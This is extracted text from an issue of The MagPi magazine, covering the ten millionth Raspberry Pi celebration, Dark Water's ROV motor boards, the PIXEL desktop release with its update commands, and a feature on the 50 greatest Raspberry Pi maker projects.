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Raspberry Pi community, the press, and Raspberry Pi staff convened at the Terrace Pavilion for a wonderfully unique view of London. There were a few projects on show as well, including a display from The MagPi regulars the Hayler-Goodalls. “As we gather to celebrate the ten millionth Raspberry Pi, it’s worth taking a moment to remember how far and fast we’ve come,” stated Eben in a speech given at the event, “and to consider what conclusions we can draw from the success of Raspberry Pi as a product and an organisation. Because at heart, the Raspberry Pi story is one of collaboration: between individuals, within and between organisations,
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and within and between clusters. “When we started Raspberry Pi, we had an almost comically modest ambition: simply to reverse the decline in the number of people applying to study computer science at the University of Cambridge… At the time, there was no expectation that adults would use Raspberry Pi, no expectation of commercial
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success, and certainly no expectation that four years later we would be manufacturing the vast majority of our products in the UK, and exporting over 80% of our production to the US, continental Europe, and beyond.” Eben went on to detail some of the other extraordinary achievements that have happened thanks to Raspberry Pi, including
the changes in the computer science curriculum, and finished off by saying how the initial goal had been achieved: more students are applying to study computer science at university. The Raspberry Pi’s mission is ongoing, and this is only the beginning. Let’s see what can be accomplished over the next ten million sales.
Above The MagPi contributor Ozzy Hayler-Goodall was on hand to show off some Pi projects Above left Celebrating ten million Raspberry Pis with a splendid view of London
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DARK CONTROL FOR RASPBERRY PI The Dark Water Foundation’s latest Raspberry Pi add-on boards promise to make a splash in the field of remotely operated vehicles
e’re trying to encourage people to do underwater robotics rather than on land,” Barry Getty explained of the not-for-profit Dark Water Foundation, during a workshop at the Liverpool MakeFest event back in 2015. He was standing in front of a filled fish tank that attendees would be using to test
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out their LEGO-based remotely operated vehicles (ROVs). “It’s a guerrilla attempt to get people to do underwater robotics instead of surface robotics.” A year later, Barry’s passion for underwater robotics hasn’t dimmed, but the technology behind Dark Water has shifted. Where the original boards were Arduino-compatible, a desire for increased capabilities called for boards with more power.
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WHY KICKSTARTER? “We originally weren’t going to make any more boards than we needed ourselves,” Barry reveals. “The positive feedback and comments made us think there was an interest in the boards outside of our own plans; so I took some time to tidy up the boards to make them a bit more presentable, and look at what was needed to get them ready to sell and make them easier to manufacture and assemble. “At this point I thought that Kickstarter wasn’t for us. We needed quite a large initial order and the average Raspberry Pi-based Kickstarter campaign was a lot lower than our target would be. I listened to a lot of people and decided to take a chance: we spent two weeks getting the campaign ready, took a holiday, and then released.”
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“We had been looking for something that was small enough to fit inside a waterproof pressure container and be sent underwater. The larger the board, the wider the container required, but when you factor in potential pressures at depth, you also needed thicker walls to handle that and keep the water out,” Barry explains of his team’s progression in the year since our last interview. “The OpenROV team were using the BeagleBone Black, but we wanted to make a much smaller ROV or even a container that could be fitted to a slightly larger version of our LEGO ROV body. “The small size of the Pi Zero removed a lot of these issues,” he continues. “We could now fit an extremely capable Linux computer in a very small and cheap container. We just needed motor drivers that were the same size to fit on it.” Although motor driver boards for the Raspberry Pi are nothing
new, Barry and his team needed something which didn’t exist elsewhere: six-motor capability. “For ground and flying robots, those extra motors maybe aren’t that big a deal, but for underwater robots six motors adds so much more,” Barry enthuses. “Six motors on an ROV means you can have four motors, full vectored thrust for horizontal manoeuvrability, and two vertical motors for depth and tilt. For an underwater bottom-crawler, you can get full four-wheel drive and an extra two motors to control stabilisation and lift. “For DC motors there aren’t any other boards available, Pi Zero-sized or not, that are capable of running that many motors with a single board..”
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With nothing available on the market, Barry and his team turned to their experience in circuit design and came up with two boards that proved a perfect fit. The Dark Control 640 works with DC motors, and the Dark Control Escape with brushless motors. Still, though, the team’s work wasn’t done. raspberrypi.org/magpi
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The Dark Control boards are compatible with DC or brushless motors and work on any 40-pin model of Raspberry Pi, including the compact Pi Zero
“Then we looked at controlling robots,” Barry recalls. “Most Raspberry Pi robots are controlled via WiFi or Bluetooth; some even use infrared remote controls. All of these have range issues, especially when used outside. No one, it seemed, had thought of a board this cheap allowing a radio control receiver to be plugged into it to take advantage of the extended
extension board is now complete, and it’s possible to add sensors ranging from barometers suitable for aircraft use to air quality systems for data gathering. It’s a mixture found nowhere else, and one that has captured plenty of attention. The Dark Control crowdfunding campaign closed with 145 percent of its modest £4,000 goal raised, and
The Dark Control crowdfunding campaign closed with 145% of its modest £4,000 goal raised range. It turned out we could implement CPPM [Combined Pulse Position Modulation] reasonably easily and with very little extra work / components – so we did. Then we thought, ‘We still have some space on here – let’s add things!’ So we added extra PWM [pulse-width modulation] servo headers to each board.” Barry’s team had added yet more capabilities to the design by the close of the Kickstarter campaign. A nine degrees of freedom (9DOF) inertial measurement unit (IMU) raspberrypi.org/magpi
deliveries of the boards have already begun. For Barry, though, the excitement is only building. “If we can encourage people to send their robots off into the world to explore, and to publish the data they find, then the world will be a better place. If we can provide tools that are small and capable enough for people to fit into underwater robots, then we’re heading in the right direction.” More information on the project can be found at darkwater.io.
Above Although built with underwater exploration in mind, the Dark Control boards are equally at home on land or in the air
GETTING STARTED “For a beginner I’d recommend putting a board on a Raspberry Pi 3,” Barry explains of his Dark Control add-ons. “It has more USB ports for WiFi, a keyboard and so on to be added, so they can get programming a lot easier. Once they have working code, then put it on a Pi Zero to reduce the size of the robot. The less space taken up by the processor, the bigger the motors you can fit! “Our aim is to encourage people to think outside of building hobby robots. If you can build a robot capable of driving around your living room, then you can build something with an air quality sensor that can drive around a field. Think outside of your living room, and try to think of how your skills can help your community.”
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The Raspberry Pi Foundation releases a stunning new desktop fizzing with features aspbian is getting.
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Simon Long, UX engineer at Raspberry Pi, told us the story behind Raspbian with PIXEL:
UPDATING TO RASPBIAN WITH PIXEL The PIXEL desktop ships with the new Raspbian image file. Raspbian with PIXEL is available at the Raspberry Pi downloads page: raspberrypi.org/downloads. It’s also possible to update a current Raspbian Jessie installation using these commands:
sudo apt-get update sudo apt-get dist-upgrade sudo apt-get install -y rpi-chromium-mods sudo apt-get install -y python-sense-emu python3-sense-emu python-sense-emu-doc Please note that if you already use xrdp to remotely access your Raspberry Pi, this conflicts with the RealVNC server, so you shouldn’t install both at once. If you don’t use xrdp and would like to use the RealVNC remote access packages, enter this line:
sudo apt-get install -y realvnc-vnc-server realvnc-vnc-viewer Reboot to use Raspbian with PIXEL. Above Raspbian with PIXEL introduces a whole new interface with a much more professional look
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that Greg Annandale, one of the Foundation’s developers, is also a very talented (and very well-travelled) photographer, and he has kindly allowed us to use some of his work as desktop pictures for PIXEL,” explains Simon.
The making of an icon
The visual refresh extends far beyond the desktop imagery. The icon set has been completely redesigned with a much friendlier feel, in keeping with the Raspberry Pi website.
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MEET THE JUDGES EBEN UPTON
CEO, Raspberry Pi Trading
Celebrate 50 issues of The MagPi with incredible projects that change what you think is possible
Software Projects judge
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CEO, Raspberry Pi Foundation Projects for Good judge
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Director of Communications, Raspberry Pi Trading Young Makers judge
MICHAEL HORNE Web developer
Robot Projects judge he Raspberry Pi has been used to build incredible things, from real-life magic mirrors to hybrid electric racing cars. Not a day goes by without an amazing new project. While there’s still a core mission of education, the Raspberry Pi is so customisable that makers immediately started using it to create the projects of their wildest dreams. And they never stopped. It wasn’t easy. But working together, we collected the 50 most inspirational projects in a celebration of everything Raspberry Pi. We could have easily added another 50 jawdroppers, but with the community’s help to choose the top 20, we have an excellent mix of fan favourites and professional picks. So without further ado, here’s the 50 Greatest Raspberry Pi Projects ever made…
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FLAPPY MCFLAPFACE All cats think they’re special, but only Daphne has her very own Twitter-enabled cat flap that heralds her arrival online. The Flappy McFlapface project snaps a photo and tweets it, along with a cute randomised phrase. Built by Bernie Sumption, this cat flap is a thing of beauty. “Daphne often takes
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CREATED BY: Bernie Sumption URL: magpi.cc/1VKui85 FAST FACT: This tweeting cat flap has over 840 followers on Twitter
to social media to rant about the inadequate service provided by her staff (technology journalist Kate Bevan),” explains Bernie on his blog – magpi.cc/1VKui85. “This activity is cathartic and highly recommended for any household pet. You can follow Flappy McFlapface on @DaphneFlap.
Daphne often takes to social media to rant about the inadequate service provided by her staff”
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The build was part of the Sci-Fi Your Pi competition launched by Element14 and Raspberry Pi
CREATED BY: Cory Kennedy Family man and cyber-defence specialist URL: magpi.cc/2cJUYbr FAST FACT: It only took about a week to build
PWNGLOVE Nintendo’s Power Glove was an infamous NES peripheral that has been the butt of many jokes, and the centre of a lot of nostalgia. The Power Glove didn’t live up to its original promise, but Cory Kennedy decided that the Raspberry Pi could change all that. “I wanted to do something different,” says Cory. “I wanted
to be the kid from the ‘Now you’re playing with power’ ad.” There are four original bend sensors (thumb, index, middle, and ring), which connect to an analogue multiplexer living in the palm housing, which sends that data back to the Arduino. This is then piped back to the Raspberry Pi over Bluetooth.
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Nobody wants a boring desk, but one hobbyist, Frederick Vandenbosch, went and built this futuristic table complete with a touch surface, speakers, and a motorised display that rises out of the surface. The PiDesk is one of the cleverest projects we’ve come across. “The build was part of a design challenge,” says Frederick. The Sci-Fi Your Pi competition was launched by the Raspberry Pi Foundation and Element14 to inspire inventors to build smarter homes. “PiDesk is an attempt at making a space-saving, futuristic-looking desk” he explains. “It can change from a regular desk to a computer workstation and back at the touch of a finger.”
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For the project’s futuristic accents, I was inspired by the Tron movies, on which I based the light patterns of the desk”
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ZOETROPE Before the invention of cinema, people used animation devices called ‘zoetropes’ to produce the illusion of movement. The Digital Zoetrope replaces the photos on the inside with 12 OLED displays. Despite incorporating a wealth of technology, Brian’s Digital
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Since his project uses OLED displays with the Raspberry Pi, it’s actually possible to update the frames in real-time, so you could watch an entire film if you wanted Zoetrope is moved by hand. Like the original designs, you spin the device and look through the slats to see movement in the still images as they rotate.
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I was inspired by the work of Eadweard Muybridge, an early pioneer of highspeed photography�
SOUND FIGHTER Cyril Chapellier and Eric Redon brought a new dimension to the phrase “duelling pianos� with this installation. Sound Fighter turns two pianos into controllers for a game of Street Fighter Alpha 3. “We transformed two classical upright pianos into PlayStation 2 controllers using
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FAST FACT: The project was pitched for the reopening of the Maison de la Radio, a historic building in Paris custom analogue piezo triggers, a Raspberry Pi B+, and Arduino Unos, and created a special Python 3 firmware to map a classical playing style onto the Street Fighter Alpha 3 gameplay,� explain the French duo.
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ROBOT PROJECTS
The Raspberry Pi has helped revolutionise hobby robotics – here are some of the best Pi robots f there’s one thing that we’ve learnt from running CamJam and Pi Wars, it’s that everyone loves a Raspberry Pi-controlled robot. Our first big Jam featured a talk from Matthew Timmons-Brown on robotics in education and, at the last Jam, Brian Corteil talked us through how to build
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Michael Horne and Tim Richardson CamJam and Pi Wars organisers Michael (right) and Tim (left) live with their respective, longsuffering wives and children in Potton, Bedfordshire. Together, they organise the Cambridge Raspberry Jam and Pi Wars, and created the CamJam EduKits.
DOODLEBORG Billed as the Raspberry Pi tank, this beast of a machine is one of the biggest Raspberry Pi-powered vehicles around. It may be low on horsepower, but it’s high on torque, and the trailer hitch allows it to tow a caravan using a PlayStation 3 pad to control it. It’s built using PiBorg’s motor controllers, and uses the great metallic design you’d expect from a PiBorg build.
A powerful machine requires powerful innards
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The monster truck of robots: with a 12V battery, six wheels, and three horsepower, it’s strong enough to carry a person!”
SID THE OFFICE ROBOT We kind of love the idea of Sid: an internet-controlled robot whirring away in your own office as people play games with it. It would probably get a little annoying after a while, but what a fun few weeks that Sid was operated using a very simple control method
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would be. Apparently, it was so popular at one point that people were waiting four hours to play with Sid! 4chan also tried to break it, but were unsuccessful due to some clever building and coding work.
A robot arm with a gamer’s attitude, you can control Sid online and drop balls into holes to score points!”
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CREATED BY: Kris Temmerman URL: magpi.cc/2cqRCXq
BALANCEBOT We spoke to Kris about his BalanceBot in issue 42 of the magazine. The BalanceBot’s balancing act is very impressive due to how tricky it is. Riding on two wheels isn’t its only trick, though: it has facial recognition software attached to a Pi camera, so it can react to the people around it using slightly odd cut-outs of Kris’s facial features. It’s a work in progress, but what he’s managed to do so far has really impressed us!
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The eyes show the robot’s ‘mood’ based on the expressions it sees
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Balancing on two wheels and with a Qt front end, Kris Temmerman’s robot uses C code for real-time control”
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BRICKPI BOOKREADER 2 The original Bookreader was able to read books on Kindle, turning the pages with a button. While certainly impressive, it was quickly outclassed by the second Bookreader that could actually read and turn the pages of a physical book. BrickPi is a way for LEGO Mindstorms to hook up to the Raspberry Pi, and with this mish-mash of LEGO and Pi tech, the robot was able to best its predecessor.
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Have a Raspberry Pi robot that you want to show off in a series of excellent challenges? Feel like you want to build one after seeing these amazing robo-projects? Then you may be interested in Pi Wars 3, which takes place in April 2017. It’s organised by Michael and Tim, who judged the robots on this page, and you can find out more details on the Pi Wars website: piwars.org
“I wanted to build something that wasn’t a standard two-wheel or track differential drive,” Tom told us when we caught up with him. His triangle-shaped robot with a holonomic drive (it can move in any direction even while rotating) did very well at Pi Wars 2015, with Tom boasting that it was the most agile robot there. No wonder it won Pi Noon. You can read the coding documentation, which Tom is quite proud of, here: magpi.cc/2cJ7X9S.
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Tom Oinn’s laser-cut, handtooled triangular robot with lots of blinkies on board impressed at last year’s Pi Wars, winning Pi Noon!”
The magic is in the wheel that turns the page
Using a mixture of LEGO and OCR with their BrickPi interface board, Dexter Industries have found a way for your Pi to read a real book!”
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#OZWALL The #OZWall video installation, the brainchild of Joseph Hazelwood, sits in the ‘Escaparate’, the focal point of Nashville Tennessee’s centre for world-class contemporary art, OZ Arts (ozartsnashville.org). “We like to think of this installation as a canvas for other artists to build upon,” Joseph tells us, “and that’s the beauty of open source and platforms like the Raspberry Pi.” Joseph started by retrofitting six vintage TVs with modern LCD
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CREATED BY: Jack Chalkley Head creative technologist at Knit URL: weareknit.co.uk
FAST FACT: You can interact with HiutMusic on Twitter @HiutMusic
The #HiutMusic jukebox is a rather beautiful Twitter-powered music player that takes pride of place in the Hiut Denim Factory on the west coast of Wales, where “the music is loud and the coffee is strong.” It was created by Knit, a creative technology agency that approached Hiut Denim with an idea to help customers connect with the boutique jeans company. It’s powered by an internet-connected Raspberry Pi, which uses the Spotify and Twitter APIs in a rather novel way. “It plugs into the existing sound system on the factory floor and fans can request a track by posting a tweet that includes #HiutMusic, the artist, and track title,” says Jack. The tweet is detected and the song is queued up and played.”
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We wanted to facilitate a dialogue between Hiut and their fans through the emotion of music”
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panels. “Each TV is outfitted with its own Raspberry Pi 2. We used the code from the CCFE Pi Wall project (magpi.cc/2cmigxM) and tailored it to our needs. In 2016, the #OZwall was upgraded for interactivity. “The first iteration of this functionality was #OZPodButtons for OZ Arts Fest,” says Joseph. “At this event, a visitor was able to push buttons installed on many art pieces in the room to switch video content and get corresponding information.”
A visitor to OZ will walk into the Escaparate and be drawn into an interactive multimedia experience” CREATED BY: Dave Sharples URL: davesharpl.es
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FAST FACT: The Joytone was on show at the Toronto International Film Festival and had around 16,000 visitors
JOYTONE Designed and crafted by engineering expert Dave Sharples, the Joytone is a unique musical instrument played using an array of mini-joysticks. “I’ve always wanted to be able to play a musical instrument,” says Dave, “and a couple years ago I took a music theory class to see if that could help me learn piano.” According to Dave, Joytone is a unique new musical instrument that features a hexagonal grid of 72 joysticks. “The Joytone’s hexagonal grid exposes musical patterns that are normally obscured by the quirks of common acoustic-style interfaces, like the
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“The project was an attempt to make a fully functional Pip-Boy 3000A. Not something to stick a phone in, but an actual working device,� Jesse tells us, referencing the official PipBoy which will require a smartphone. Having never found a perfect use for his Raspberry Pi, Jesse decided to use it for this project he was making for a friend. Using a 3D-printed case that he modified himself, the build wasn’t simple.
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“I worked on this probably about 70 hours total, with a lot of that being just research,� Jesse explains about his build process. “There was a lot of stuff out there on making a Pip-Boy, where to get the cast from, materials, etc. The main piece to get was the Pip-Boy cast itself, which I ordered from Nakamura Shop on Shapeways.�
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FLAPPY MCFLAPFACE I love Flappy McFlapface, the tweeting cat flap. Partly because it involves cats and the internet (always a winner). But also because it’s an IoT project in disguise. On the surface, you’re just making fun of your cat, but look deeper and there is lots of Python code and scripting being used to hook a door up to the internet, and to Twitter. The creative language generator is the icing on the cake. Also, it just works! Follow @daphneflap on Twitter and she’s still tweeting her mugshot daily.
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FAST FACT: The eventual aim is to fly a series of balloons across Europe, with data passing from balloon to balloon
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Virginia Tech’s huge kinetic-sculpture-cumcomputing-cluster is a spectacular sight. Not only is it a mesmerising work of art as its articulating arms move in cascading patterns, but it’s also a brilliant visualisation of the concept of parallel computing. I particularly like the transparency of the design, with its exposed wiring, enabling everyone to see how it works. Comprising 256 Raspberry Pis and countless custom parts, it’s not something you could replicate at home, but it’s inspiring nonetheless.
Dave is a high-altitude ballooning enthusiast who has been tethering Raspberry Pi boards to helium balloons and sending them to the edge of space since 2012. His hobby and choice of computer have been attracting much attention since, leading to a rather hectic life for the software programmer, and helping to show further evidence of the adaptability of the Raspberry Pi. “The Raspberry Pi had two big effects [on my high altitude ballooning]: the addition of live images and all of the media attention,� Dave tell us. “I expected the former, but not the latter. It’s all been good, though.�
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SOFTWARE PROJECTS
It’s not just about physical builds – Raspberry Pi would be nothing without its amazing software creations… t’s fair to say that we went into Raspberry Pi with some unrealistic ideas about what we could reasonably expect the open-source software community to do for us. It’s not enough to put a piece of hardware out there with barebones software support and expect volunteers to fix everything for you, for free: many core software tasks need to be handled by an in‑house team. On the other hand, we’ve been consistently amazed by the wide variety of third-party software that people have developed on top of this core, without which the Raspberry Pi ecosystem would be a much less exciting place. It’s hard to pick favourites, but here are a few standout applications.
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CREATED BY: RetroPie team URL: retropie.org.uk
RETROPIE RetroPie has the ability to realise many people’s dreams of owning their own custom arcade cabinet, bringing simple-to-use arcade and console emulation to the Raspberry Pi with very little fuss. It even works on the Pi Zero, which enabled us to put a Zero into a NES and SNES controller for the magazine, while still being powerful enough to drive a whole arcade cabinet. Just remember the law about what ROMs you can use, though.
Play Minecraft and learn how to code using it on Raspberry Pi
MINECRAFT PI Minecraft Pi was originally developed to run on the firstgeneration Raspberry Pis: it was a little stuttery on them, but since the Raspberry Pi 2 it’s been great to use. It’s not just a game, though: thanks to the API being open to use, you
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can modify it with Python and even hack it with other programming languages. Using Python as a bridge to the GPIO pins, you can even have Minecraft interact with the real world…
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Who doesn’t like a trip down memory lane? With an enormous list of supported platforms, you can waste (I prefer to say ‘invest’) hours reliving your youth. With a Raspberry Pi 3, even many N64 games run smoothly”
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RASPBIAN Raspbian is ubiquitous with Raspberry Pi. As the premier operating system for the Pi, you’ll rarely find a project that uses anything else, and all the tutorials and learning resources on the Raspberry Pi website are built around it. The community have really taken to it and tons of bespoke software has been created or ported to Raspbian to allow for a fantastic user experience. PIXEL may now be here, but it’s still Raspbian at the core.
CREATED BY: Ben Croston URL: magpi.cc/2cEMDCv
RPI.GPIO Quite a miraculous Python module, RPi.GPIO opened up the GPIO pins to everyone, with the ability to pretty much directly control what each programmable pin can do. It’s become a staple of many tutorials for beginners and
veterans alike who just want to light an LED, or even control an entire robot. The great thing is that it works across every version of the Raspberry Pi, as long as you take into account the different number of pins on the first models.
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I remember the happiness in the office when this first appeared. Use it via GPIO Zero, or import it directly: Ben Croston’s RPi.GPIO remains the canonical way to access the interfacing features of the Raspberry Pi”
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Raspbian is independent from the Raspberry Pi Foundation, but they still do plenty of work on it
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Mike Thompson and Peter Green’s painstaking rebuild of hard-float ARMv7 Debian for the ARMv6 processor in the original Raspberry Pi: where would we be without it? Still the backbone of our OS strategy”
GET INTO PROGRAMMING Programming is a learning process that requires steps to understand different concepts. Just one tutorial won’t be able to do the job, which is why we have entire books on the subject. Of particular interest for this category is our GPIO Zero Essentials book, which teaches you how to use the library on Python. There are also books on hacking Minecraft Pi and creating games in Python and Scratch. You can find them all here: magpi.cc/Back-issues
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GPIO ZERO RPi.GPIO is amazing, but for newcomers it’s not the easiest to use, which is where Ben Nuttall and Dave Jones came in. Enthusiastic to get people setting up and supporting Jams around the country/world, Ben’s just as passionate about making the first steps into coding just that little bit easier. Together they’ve managed that with this excellent library that makes common operations a doddle to write in Python, and which is just about celebrating its first anniversary this issue.
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Another entry in the Foo Zero Olympics, after Pygame Zero and before Raspberry Pi Zero. Ben Nuttall’s done a cracking job of stripping the boilerplate out of Python physical computing”
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4-BOT Prepare to be amazed by the 4-Bot, created by David Pride. This robot plays Connect Four by taking a picture of the game board, processing the colours, and then giving the program the state of the board to calculate the next move. David reveals, “There are a huge but finite number of solutions, and they can all be calculated with
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FAST FACT: With capturing and processing the image, calculating the next move, and delivering the counter, the total time per turn is around 25 seconds
In terms of how well it plays, Connect 4 is a ‘perfect’ game in mathematical terms”
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BEETBOX One of the craziest projects is this work of. Scott says, “I’m particularly interested in creating complex technical interactions in which
the technology is invisible, both in the sense that the interaction is extremely simple and in the literal sense that no electronic components can be seen.”
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The students don’t just build the car; they have to personally race it, too
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FORMULA HYBRID Engineering students from McMaster University enter the Formula Hybrid and EcoCAR 3 competition every year. Their hybrid race car doesn’t lack muscle: it packs a 15kW in-hub motor for the front wheels, and a 250cc motorcycle engine for the rear wheels. But their secret weapon is the Raspberry Pi inside the car, which acts as a dashboard computer and team radio. It gathers telemetry data and sends it to the team at trackside, enabling them to analyse the car’s performance.
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Essentially it’s both the dashboard computer and our team radio. It also gives us a few new features along the way, simply because it’s so powerful”
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CREATED BY: Martin Mander URL: magpi.cc/2d3pedC FAST FACT: The project took six months to complete (we think it was worth it)
RASPBERRY PI VCR If you’re not old enough to know what a VCR was, ask your parents. You did have to hook it up to a TV, but being able to lug
one around was quite a novelty back in the 1980s. “I picked [this] up for ‘spare or repair’ on eBay for ÂŁ6,â€? explains Martin. “I stripped out all of the internal circuits and replaced them with modern tech, with the Raspberry Pi running the show, a powered USB hub housed in a pop-out VHS tape, an Arduino-powered clock, and a 15Ë? HD TV panel integrated into the back of the unit.â€?
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VOYAGE Voyage is an impressive art installation. There’s a Raspberry Pi acting as a DHCP and web server as part of the control mechanism. We find ourselves surprisingly touched at the blending of Raspberry Pi and something so beautiful. Conceived by Newcastle-based studio Aether & Hemera, the art project is made from coloured paper boats on water. People can engage with the lights from their mobile phone. “The aim of the artwork is to allow viewers to travel and sail with absolute freedom to all the places they care to imagine,� says the studio’s website.
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PIGRRL I’ve always been a big fan of miniaturised Pi projects that allow you to play games, retro or otherwise. We’ve had mini NESes, Pi Zeros in controllers (one of those thanks to me), and even lots of mini-arcade cabinets. What I love about the PiGRRL and all its different versions is the portability and the fantastic custom case to go with it, as well as not having to take a bag of games with you everywhere.
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FAST FACT: Each boat is 60cm long, 27cm wide, and 21cm high. The total installation covers over 1,000 square metres
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PORTABLE PI VCR I had the pleasure of meeting Martin Mander at a Cambridge Raspberry Jam, just when I was developing the Project Showcase section for the magazine. I was looking for beautiful, well-crafted projects and I was immediately smitten by this retro chic design; I started the write-up on the spot.
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The Raspberry Pi was created to get kids interested in coding – here’s the best of what they’re doing… rom the very start, one of the best things about working at Pi Towers has been meeting some of the extraordinary kids who make things with the Raspberry Pi. We met one of the very first, Liam Fraser, when he was making Raspberry Pi tutorials as a 17-year-old back in 2012: he
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graduated this year, and now works on the engineering team that designs your Pi. Every year, there’s a new batch of imaginative, smart, engaging young people who have discovered the Raspberry Pi for the first time, and every year they amaze us with the scope and professionalism of what they’re doing.
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Liz Upton Director of Communications, Raspberry Pi Liz is one of the founders of the Raspberry Pi Foundation. She’s been running the comms department – press, website, publications, social media, and design – since 2011.
VERMONT POSTER In the UK we don’t tend to get these kind of big school projects that are so popular in the USA, and in this case we’re quite jealous. At this particular American school, second-graders put together a state board, and Emma went the extra mile making hers. It included lights and sounds and was designed in a way that Emma could make it herself with only minimal adult supervision.
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When trying to create education materials for kids and teens, it’s important to hear what they have to say about the materials. Sonia was first exposed to computer science while at middle school in Bangalore and found it boring, yet when she returned home to San Francisco she became interested when other methods were
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Emma was in the second grade when she made this, and to demonstrate that she’d done it all herself, her dad filmed the whole build process, from soldering iron to final working model”
presented to her. When she found out about the Raspberry Pi, she decided to create a way of teaching computing to kids in rural India with her own, more interesting curriculum and it’s been a great success.
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Sonia Uppal has made more of an impact with her extracurricular project than most of us manage in our whole careers”
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BEE BOX flower and then the beehive. There are pictures and sounds to go with it as well.
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I bump into Oliver and Amelia a couple of times every year at Pi events. They’re a brilliant pair, full of enthusiasm and imagination. This project captures all of it”
GETTING KIDS INVOLVED The reason the Raspberry Pi exists in the first place is to get more young people into computer science again after a drop in university applications to the subject. Getting the Raspberry Pi is only the first step; inspiring and teaching children about the Pi is the next one. Attending Raspberry Jams (see our Events section on page 88) or finding your nearest Code Club (codeclub.org.uk) is a great way to get for kids to learn about what they can do with a Raspberry Pi and coding.
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BENTON PARK LIVE CODING ORCHESTRA If you’ve ever read the tutorials from Sam Aaron on Sonic Pi in the magazine, you’ll know he’s always trying to teach people about live coding with it. Some primary school children took this to heart and put on a live-
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coding orchestra using Raspberry Pi and Sonic Pi, with music and graphics, for a very excited audience. They came back later to perform music based on the planets, with a little bit of Holst inspiration.
A brilliantly expressive use of the Raspberry Pi: music created with Sonic Pi and some kickass dancing. I could watch this all day”
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PIPIANO / PIANO HAT The PiPiano was originally a crowdfunded Raspberry Pi add-on that allowed you to make music or even just have a multi-button add-on for the Pi. It did extraordinarily well, worthy enough on its own to be on this list; however, the concept was later turned into a proper product by the folks at Pimoroni. Based on Zach’s creation, and made with his permission, the Piano HAT uses touch-sensitive buttons rather than physical ones.
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CREATED BY: Graham Gelding URL: magpi.cc/1qODcFy FAST FACT: The most expensive parts of the project are the LCD screen and some of the controls
COFFEE TABLE PI Graham Gelding has created the ultimate in classy, grownup arcade gaming apparatus: a cocktail arcade cabinet. “It was an attempt to recreate the classic arcade cocktail cabinet,” Graham tells us, “but in a way that can fit into a lounge. It’s also a way of introducing my kids to the games that I had growing up.” Looking for a project for his Raspberry Pi, Graham also wanted to try some woodworking. He made the whole table from scratch using pine from an old bookshelf, as well as installing the screen, arcade controls, and the Raspberry Pi itself that powers it.
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You could be forgiven for thinking that the LifeBox was just another neat little programmed series of LEDs. This would be a huge mistake to make, because the little lights are a lot cleverer than you could imagine: they’re alive. Well, sort of. At the very least, they have been programmed with behaviour. “In this box live two pixelic entities, the blue and yellow species,” says Ferran.“These two species compete to survive and reproduce, feeding [on] the white mana that grows under [their] feet.”
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Since I was a child, I was attracted to robotics and the possibilities of simple life simulations”
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The two projects seemed perfect. I could make use of my experience with Linux, but also learn about woodworking”
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CREATED BY: Matt Reed URL: mcreed.com FAST FACT: Matt used Node.js to get the LEDs to work in time with BitTorrent
MASON JAR PRESERVE The Raspberry Pi-powered Mason Jar Preserve is the most stylish backup solution we’ve ever seen. “[Mason Jars] are industrialgrade glass jars with a sealable lid that were originally used at home to preserve foods throughout the winter,” says Matt. “Mason Jars allowed for foods that were harvested in the summer to last all year round. Who doesn’t want tasty fried okra in February?” Matt used BitTorrent to create the
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backup software. “It’s similar to Dropbox,” he says, “but instead of a centralised server in the cloud, you connect two or more of your own devices directly together over the BitTorrent protocol.”
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I used a saw to cut the base into a square, a sander to round it off, and a drill to make the LED, Ethernet, and power holes” raspberrypi.org/magpi
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CREATED BY: Hitchin Hackspace URL: magpi.cc/2cKRLIr FAST FACT: Bighak is driven by two electric wheelchair motors and has a chassis made from recycled space-age aluminium honeycomb
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BIGHAK Makers and coders of a certain age go all misty-eyed at the mere mention of Bigtrak. This toy, created in 1979, had kids across country issuing commands to a robot, such as go forward for one second, and turn right 90 degrees. “Well, Bighak is very similar,� say its makers, “but on a rather larger scale – 5.2:1, to be precise.� Bighak allows the ‘commander’ to ride around in the rear, while issuing
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360 Camera Create 360 video awesomeness on your Raspberry Pi. This project records omnidirectional video and posts it directly to YouTube. magpi.cc/2cd00fa commands by holding up QR codes to the webcam. A Raspberry Pi turns the commands into directions and Bighak trundles off.
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The combination of nostalgia and the outrageousness of the suggestion was enough to provoke further conversation ending in the fateful words ‘You know what, I think we could do it!’ �
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Retro SNES sculpture Hand-carved from clay, this micro-console was a firm favourite with The MagPi social community. magpi.cc/2bSJKKZ
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LED MIRROR Created as an art installation, the LED Mirror consists of a staggering 2,048 LEDs. When someone stands in front of it, a camera picks up their movement and creates a series of snazzy effects. The project began on a small scale. “We built a prototype of several small 8Ă—8 LED dot matrix digits,â€? Johan explains. It soon grew. The effect is nothing less than stunning. “Although the displayed images are very abstract, spectators identify themselves instantaneously due to the feedback of their motions. This triggers people to move and wave in front of the mirror,â€? says Johan. raspberrypi.org/magpi
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Control an RGB LED and see how well your tweets are doing. magpi.cc/2bXJ0Hf
FAST FACT: The mirror is displayed at Fullscreen.nl’s Netherlands office
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Pi-Powered Sub Rather than taking to the skies like most Pi-powered drones, this ingenious ROV dives beneath the surface for some underwater exploration. magpi.cc/20TfFiE
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RTAndroid Install Android with RTAndroid on a Raspberry Pi 3. magpi.cc/2bNHh4w
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PROJECTS FOR GOOD Let’s celebrate the Raspberry Pi projects that help people and communities, from health to education ll over the world, people are harnessing the power of digital technologies to solve problems that matter to them. One of the most powerful things about Raspberry Pi computers is how they have dramatically lowered cost barriers, meaning that many more people are able to take advantage of the latest technologies to create exciting new innovations. Just as important is the awesome global community of entrepreneurs, makers, and educators that provides inspiration, shares learning, and gives practical support. This combination is massively accelerating the pace at which new solutions are being created to solve big social problems. It was hard to pick just five, but here are a few of my favourites from the many examples we’ve found.
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Philip Colligan CEO, Raspberry Pi Foundation Philip Colligan is chief executive of the Raspberry Pi Foundation. He is also a craft cider maker, school governor, and dad to two young digital makers.
CREATED BY: FarmBot, Inc URL: farmbot.io
FARMBOT Growing your own vegetables is one of those ideas that sounds great in theory, but in practice can be a lot of work. It’s not for everyone, but if you just want to eat the result of the labour and you have some money to spend, then the FarmBot could be for you. It’s an incredible product that can also be scaled up to help feed communities.
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RACHEL PI RACHEL is educational server software that contains everything you’d need students to access, with the idea being that servers can be set up in places where there is no internet and act as an ‘offline internet’, albeit with only the relevant content you need. The RACHEL Pi is a Raspberry Pi loaded with the software which costs only $99, but which can open up a wealth of possibilities to people around the world. 32
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Bringing knowledge and education to parts of the world that the internet hasn’t yet reached, using Raspberry Pi and the power of social entrepreneurship. What’s not to love about this?”
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A beautifully designed and automated food production system. Powered by a Raspberry Pi computer, this completely open-source project aims to change the way we produce our food”
